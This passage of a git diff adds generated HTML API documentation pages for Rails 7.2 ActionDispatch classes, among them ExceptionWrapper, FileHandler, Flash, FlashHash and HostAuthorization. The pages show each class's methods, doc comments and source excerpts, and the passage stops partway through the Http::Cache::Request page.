+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/ExceptionWrapper.html b/src/7.2/classes/ActionDispatch/ExceptionWrapper.html new file mode 100644 index 0000000000..6b312ae8d7 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/ExceptionWrapper.html @@ -0,0 +1,1417 @@ +--- +title: ActionDispatch::ExceptionWrapper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + backtrace_cleaner
+ [R] + exception
+ [R] + exception_class_name
+ [R] + wrapped_causes
+ + + + +

Class Public methods

+ +
+

+ + new(backtrace_cleaner, exception) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 50
+    def initialize(backtrace_cleaner, exception)
+      @backtrace_cleaner = backtrace_cleaner
+      @exception_class_name = exception.class.name
+      @wrapped_causes = wrapped_causes_for(exception, backtrace_cleaner)
+      @exception = exception
+      if exception.is_a?(SyntaxError)
+        @exception = ActiveSupport::SyntaxErrorProxy.new(exception)
+      end
+      @backtrace = build_backtrace
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + status_code_for_exception(class_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 175
+    def self.status_code_for_exception(class_name)
+      Rack::Utils.status_code(@@rescue_responses[class_name])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + actions() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 101
+    def actions
+      ActiveSupport::ActionableError.actions(@exception)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + annotated_source_code() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 113
+    def annotated_source_code
+      if exception.respond_to?(:annotated_source_code)
+        exception.annotated_source_code
+      else
+        []
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + application_trace() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 135
+    def application_trace
+      clean_backtrace(:silent)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + corrections() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 89
+    def corrections
+      @exception.corrections
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error_highlight_available?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 204
+    def error_highlight_available?
+      # ErrorHighlight.spot with backtrace_location keyword is available since
+      # error_highlight 0.4.0
+      defined?(ErrorHighlight) && Gem::Version.new(ErrorHighlight::VERSION) >= Gem::Version.new("0.4.0")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exception_id() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 234
+    def exception_id
+      exception.object_id
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exception_inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 230
+    def exception_inspect
+      exception.inspect
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exception_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 222
+    def exception_name
+      exception.cause.class.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exception_trace() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 129
+    def exception_trace
+      trace = application_trace
+      trace = framework_trace if trace.empty? && !silent_exceptions.include?(@exception_class_name)
+      trace
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + failures() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 77
+    def failures
+      @exception.failures
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + file_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 93
+    def file_name
+      @exception.file_name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + framework_trace() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 139
+    def framework_trace
+      clean_backtrace(:noise)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + full_trace() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 143
+    def full_trace
+      clean_backtrace(:all)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_cause?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 73
+    def has_cause?
+      @exception.cause
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_corrections?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 81
+    def has_corrections?
+      @exception.respond_to?(:original_message) && @exception.respond_to?(:corrections)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + line_number() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 97
+    def line_number
+      @exception.line_number
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 226
+    def message
+      exception.message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + original_message() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 85
+    def original_message
+      @exception.original_message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rescue_response?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 194
+    def rescue_response?
+      @@rescue_responses.key?(exception.class.name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rescue_template() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 121
+    def rescue_template
+      @@rescue_templates[@exception_class_name]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + routing_error?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 61
+    def routing_error?
+      @exception.is_a?(ActionController::RoutingError)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + show?(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 179
+    def show?(request)
+      # We're treating `nil` as "unset", and we want the default setting to be `:all`.
+      # This logic should be extracted to `env_config` and calculated once.
+      config = request.get_header("action_dispatch.show_exceptions")
+
+      case config
+      when :none
+        false
+      when :rescuable
+        rescue_response?
+      else
+        true
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + source_extracts() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 198
+    def source_extracts
+      backtrace.map do |trace|
+        extract_source(trace)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + source_to_show_id() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 218
+    def source_to_show_id
+      (traces[trace_to_show].first || {})[:id]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + status_code() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 125
+    def status_code
+      self.class.status_code_for_exception(unwrapped_exception.class.name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sub_template_message() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 69
+    def sub_template_message
+      @exception.sub_template_message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + template_error?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 65
+    def template_error?
+      @exception.is_a?(ActionView::Template::Error)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + trace_to_show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 210
+    def trace_to_show
+      if traces["Application Trace"].empty? && rescue_template != "routing_error"
+        "Full Trace"
+      else
+        "Application Trace"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + traces() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 147
+    def traces
+      application_trace_with_ids = []
+      framework_trace_with_ids = []
+      full_trace_with_ids = []
+
+      full_trace.each_with_index do |trace, idx|
+        trace_with_id = {
+          exception_object_id: @exception.object_id,
+          id: idx,
+          trace: trace
+        }
+
+        if application_trace.include?(trace)
+          application_trace_with_ids << trace_with_id
+        else
+          framework_trace_with_ids << trace_with_id
+        end
+
+        full_trace_with_ids << trace_with_id
+      end
+
+      {
+        "Application Trace" => application_trace_with_ids,
+        "Framework Trace" => framework_trace_with_ids,
+        "Full Trace" => full_trace_with_ids
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unwrapped_exception() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/exception_wrapper.rb, line 105
+    def unwrapped_exception
+      if wrapper_exceptions.include?(@exception_class_name)
+        @exception.cause
+      else
+        @exception
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Executor.html b/src/7.2/classes/ActionDispatch/Executor.html new file mode 100644 index 0000000000..b7a7450d38 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Executor.html @@ -0,0 +1,164 @@ +--- +title: ActionDispatch::Executor +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, executor) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/executor.rb, line 9
+    def initialize(app, executor)
+      @app, @executor = app, executor
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/executor.rb, line 13
+    def call(env)
+      state = @executor.run!(reset: true)
+      begin
+        response = @app.call(env)
+
+        if env["action_dispatch.report_exception"]
+          error = env["action_dispatch.exception"]
+          @executor.error_reporter.report(error, handled: false, source: "application.action_dispatch")
+        end
+
+        returned = response << ::Rack::BodyProxy.new(response.pop) { state.complete! }
+      rescue => error
+        @executor.error_reporter.report(error, handled: false, source: "application.action_dispatch")
+        raise
+      ensure
+        state.complete! unless returned
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/FileHandler.html b/src/7.2/classes/ActionDispatch/FileHandler.html new file mode 100644 index 0000000000..a90730d2fb --- /dev/null +++ b/src/7.2/classes/ActionDispatch/FileHandler.html @@ -0,0 +1,238 @@ +--- +title: ActionDispatch::FileHandler +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch FileHandler

+ +

This endpoint serves static files from disk using Rack::Files.

+ +

URL paths are matched with static files according to expected conventions: path, path.html, path/index.html.

+ +

Precompressed versions of these files are checked first. Brotli (.br) and gzip (.gz) files are supported. If path.br exists, this endpoint returns that file with a content-encoding: br header.

+ +

If no matching file is found, this endpoint responds 404 Not Found.

+ +

Pass the root directory to search for matching files, an optional index: "index" to change the default path/index.html, and optional additional response headers.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
PRECOMPRESSED={ +"br" => ".br", +"gzip" => ".gz", +"identity" => nil +}
 

Accept-Encoding value -> file extension

+ + + + + + +

Class Public methods

+ +
+

+ + new(root, index: "index", headers: {}, precompressed: %i[ br gzip ], compressible_content_types: /\A(?:text\/|application\/javascript|image\/svg\+xml)/) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/static.rb, line 55
+    def initialize(root, index: "index", headers: {}, precompressed: %i[ br gzip ], compressible_content_types: /\A(?:text\/|application\/javascript|image\/svg\+xml)/)
+      @root = root.chomp("/").b
+      @index = index
+
+      @precompressed = Array(precompressed).map(&:to_s) | %w[ identity ]
+      @compressible_content_types = compressible_content_types
+
+      @file_server = ::Rack::Files.new(@root, headers)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attempt(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/static.rb, line 69
+    def attempt(env)
+      request = Rack::Request.new env
+
+      if request.get? || request.head?
+        if found = find_file(request.path_info, accept_encoding: request.accept_encoding)
+          serve request, *found
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/static.rb, line 65
+    def call(env)
+      attempt(env) || @file_server.call(env)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Flash.html b/src/7.2/classes/ActionDispatch/Flash.html new file mode 100644 index 0000000000..3847a1d54e --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Flash.html @@ -0,0 +1,178 @@ +--- +title: ActionDispatch::Flash +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Flash

+ +

The flash provides a way to pass temporary primitive-types (String, Array, Hash) between actions. Anything you place in the flash will be exposed to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create action that sets flash[:notice] = "Post successfully created" before redirecting to a display action that can then expose the flash to its template. Actually, that exposure is automatically done.

+ +
class PostsController < ActionController::Base
+  def create
+    # save post
+    flash[:notice] = "Post successfully created"
+    redirect_to @post
+  end
+
+  def show
+    # doesn't need to assign the flash notice to the template, that's done automatically
+  end
+end
+
+ +

Then in show.html.erb:

+ +
<% if flash[:notice] %>
+  <div class="notice"><%= flash[:notice] %></div>
+<% end %>
+
+ +

Since the notice and alert keys are a common idiom, convenience accessors are available:

+ +
flash.alert = "You must be logged in"
+flash.notice = "Post successfully created"
+
+ +

This example places a string in the flash. And of course, you can put as many as you like at a time too. If you want to pass non-primitive types, you will have to handle that in your application. Example: To show messages with links, you will have to use sanitize helper.

+ +

Just remember: They’ll be gone by the time the next action has been performed.

+ +

See docs on the FlashHash class for more details about the flash.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + +

Constants

+ + + + + + + + + +
KEY="action_dispatch.request.flash_hash"
+ + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 312
+    def self.new(app) app; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Flash/FlashHash.html b/src/7.2/classes/ActionDispatch/Flash/FlashHash.html new file mode 100644 index 0000000000..5178478fb6 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Flash/FlashHash.html @@ -0,0 +1,871 @@ +--- +title: ActionDispatch::Flash::FlashHash +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + [](k) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 169
+      def [](k)
+        @flashes[k.to_s]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(k, v) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 163
+      def []=(k, v)
+        k = k.to_s
+        @discard.delete k
+        @flashes[k] = v
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + alert() + +

+ + +
+

Convenience accessor for flash[:alert].

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 280
+      def alert
+        self[:alert]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + alert=(message) + +

+ + +
+

Convenience accessor for flash[:alert]=.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 285
+      def alert=(message)
+        self[:alert] = message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 204
+      def clear
+        @discard.clear
+        @flashes.clear
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key) + +

+ + +
+

Immediately deletes the single flash entry. Use this method when you want remove the message within the current action. See also discard.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 189
+      def delete(key)
+        key = key.to_s
+        @discard.delete key
+        @flashes.delete key
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + discard(k = nil) + +

+ + +
+

Marks the entire flash or a single flash entry to be discarded by the end of the current action:

+ +
flash.discard              # discard the entire flash at the end of the current action
+flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
+
+ +

Use this method when you want to display the message in the current action but not in the next one. See also delete.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 264
+      def discard(k = nil)
+        k = k.to_s if k
+        @discard.merge Array(k || keys)
+        k ? self[k] : self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 209
+      def each(&block)
+        @flashes.each(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + empty?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 200
+      def empty?
+        @flashes.empty?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 155
+      def initialize_copy(other)
+        if other.now_is_loaded?
+          @now = other.now.dup
+          @now.flash = self
+        end
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + keep(k = nil) + +

+ + +
+

Keeps either the entire current flash or a specific flash entry available for the next action:

+ +
flash.keep            # keeps the entire flash
+flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 250
+      def keep(k = nil)
+        k = k.to_s if k
+        @discard.subtract Array(k || keys)
+        k ? self[k] : self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key?(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 183
+      def key?(name)
+        @flashes.key? name.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + keys() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 179
+      def keys
+        @flashes.keys
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + notice() + +

+ + +
+

Convenience accessor for flash[:notice].

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 290
+      def notice
+        self[:notice]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + notice=(message) + +

+ + +
+

Convenience accessor for flash[:notice]=.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 295
+      def notice=(message)
+        self[:notice] = message
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + now() + +

+ + +
+

Sets a flash that will not be available to the next action, only to the current.

+ +
flash.now[:message] = "Hello current action"
+
+ +

This method enables you to use the flash as a central messaging system in your app. When you need to pass an object to the next action, you use the standard flash assign ([]=). When you need to pass an object to the current action, you use now, and your object will vanish when the current action is done.

+ +

Entries set via now are accessed the same way as standard entries: flash['my-key'].

+ +

Also, brings two convenience accessors:

+ +
flash.now.alert = "Beware now!"
+# Equivalent to flash.now[:alert] = "Beware now!"
+
+flash.now.notice = "Good luck now!"
+# Equivalent to flash.now[:notice] = "Good luck now!"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 241
+      def now
+        @now ||= FlashNow.new(self)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 196
+      def to_hash
+        @flashes.dup
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + now_is_loaded?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 300
+        def now_is_loaded?
+          @now
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + stringify_array(array) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 305
+        def stringify_array(array) # :doc:
+          array.map do |item|
+            item.kind_of?(Symbol) ? item.to_s : item
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Flash/RequestMethods.html b/src/7.2/classes/ActionDispatch/Flash/RequestMethods.html new file mode 100644 index 0000000000..f9f8e97016 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Flash/RequestMethods.html @@ -0,0 +1,144 @@ +--- +title: ActionDispatch::Flash::RequestMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + flash() + +

+ + +
+

Access the contents of the flash. Returns a ActionDispatch::Flash::FlashHash.

+ +

See ActionDispatch::Flash for example usage.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 57
+      def flash
+        flash = flash_hash
+        return flash if flash
+        self.flash = Flash::FlashHash.from_session_value(session["flash"])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + flash=(flash) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/flash.rb, line 63
+      def flash=(flash)
+        set_header Flash::KEY, flash
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/HostAuthorization.html b/src/7.2/classes/ActionDispatch/HostAuthorization.html new file mode 100644 index 0000000000..ba94bb1980 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/HostAuthorization.html @@ -0,0 +1,194 @@ +--- +title: ActionDispatch::HostAuthorization +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch HostAuthorization

+ +

This middleware guards from DNS rebinding attacks by explicitly permitting the hosts a request can be sent to, and is passed the options set in config.host_authorization.

+ +

Requests can opt-out of Host Authorization with exclude:

+ +
config.host_authorization = { exclude: ->(request) { request.path =~ /healthcheck/ } }
+
+ +

When a request comes to an unauthorized host, the response_app application will be executed and rendered. If no response_app is given, a default one will run. The default response app logs blocked host info with level β€˜error’ and responds with 403 Forbidden. The body of the response contains debug info if config.consider_all_requests_local is set to true, otherwise the body is empty.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ALLOWED_HOSTS_IN_DEVELOPMENT=[".localhost", ".test", IPAddr.new("0.0.0.0/0"), IPAddr.new("::/0")]
+ + + + + + +

Class Public methods

+ +
+

+ + new(app, hosts, exclude: nil, response_app: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/host_authorization.rb, line 127
+    def initialize(app, hosts, exclude: nil, response_app: nil)
+      @app = app
+      @permissions = Permissions.new(hosts)
+      @exclude = exclude
+
+      @response_app = response_app || DefaultResponseApp.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/middleware/host_authorization.rb, line 135
+    def call(env)
+      return @app.call(env) if @permissions.empty?
+
+      request = Request.new(env)
+      hosts = blocked_hosts(request)
+
+      if hosts.empty? || excluded?(request)
+        mark_as_authorized(request)
+        @app.call(env)
+      else
+        env["action_dispatch.blocked_hosts"] = hosts
+        @response_app.call(env)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http.html b/src/7.2/classes/ActionDispatch/Http.html new file mode 100644 index 0000000000..0ad042a63b --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http.html @@ -0,0 +1,120 @@ +--- +title: ActionDispatch::Http +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Cache.html b/src/7.2/classes/ActionDispatch/Http/Cache.html new file mode 100644 index 0000000000..20f3a0b28e --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Cache.html @@ -0,0 +1,69 @@ +--- +title: ActionDispatch::Http::Cache +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Http/Cache/Request.html b/src/7.2/classes/ActionDispatch/Http/Cache/Request.html new file mode 100644 index 0000000000..55e07edd15 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Http/Cache/Request.html @@ -0,0 +1,329 @@ +--- +title: ActionDispatch::Http::Cache::Request +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
HTTP_IF_MODIFIED_SINCE="HTTP_IF_MODIFIED_SINCE"
HTTP_IF_NONE_MATCH="HTTP_IF_NONE_MATCH"
+ + + + + + + +

Instance Public methods

+ +
+

+ + etag_matches?(etag) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 30
+        def etag_matches?(etag)
+          if etag
+            validators = if_none_match_etags
+            validators.include?(etag) || validators.include?("*")
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fresh?(response) + +

+ + +
+

Check response freshness (Last-Modified and ETag) against request If-Modified-Since and If-None-Match conditions. If both headers are supplied, both must match, or the request is not considered fresh.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/cache.rb, line 40
+        def fresh?(response)
+          last_modified = if_modified_since
+          etag          = if_none_match
+
+          return false unless last_modified || etag
+
+          success = true
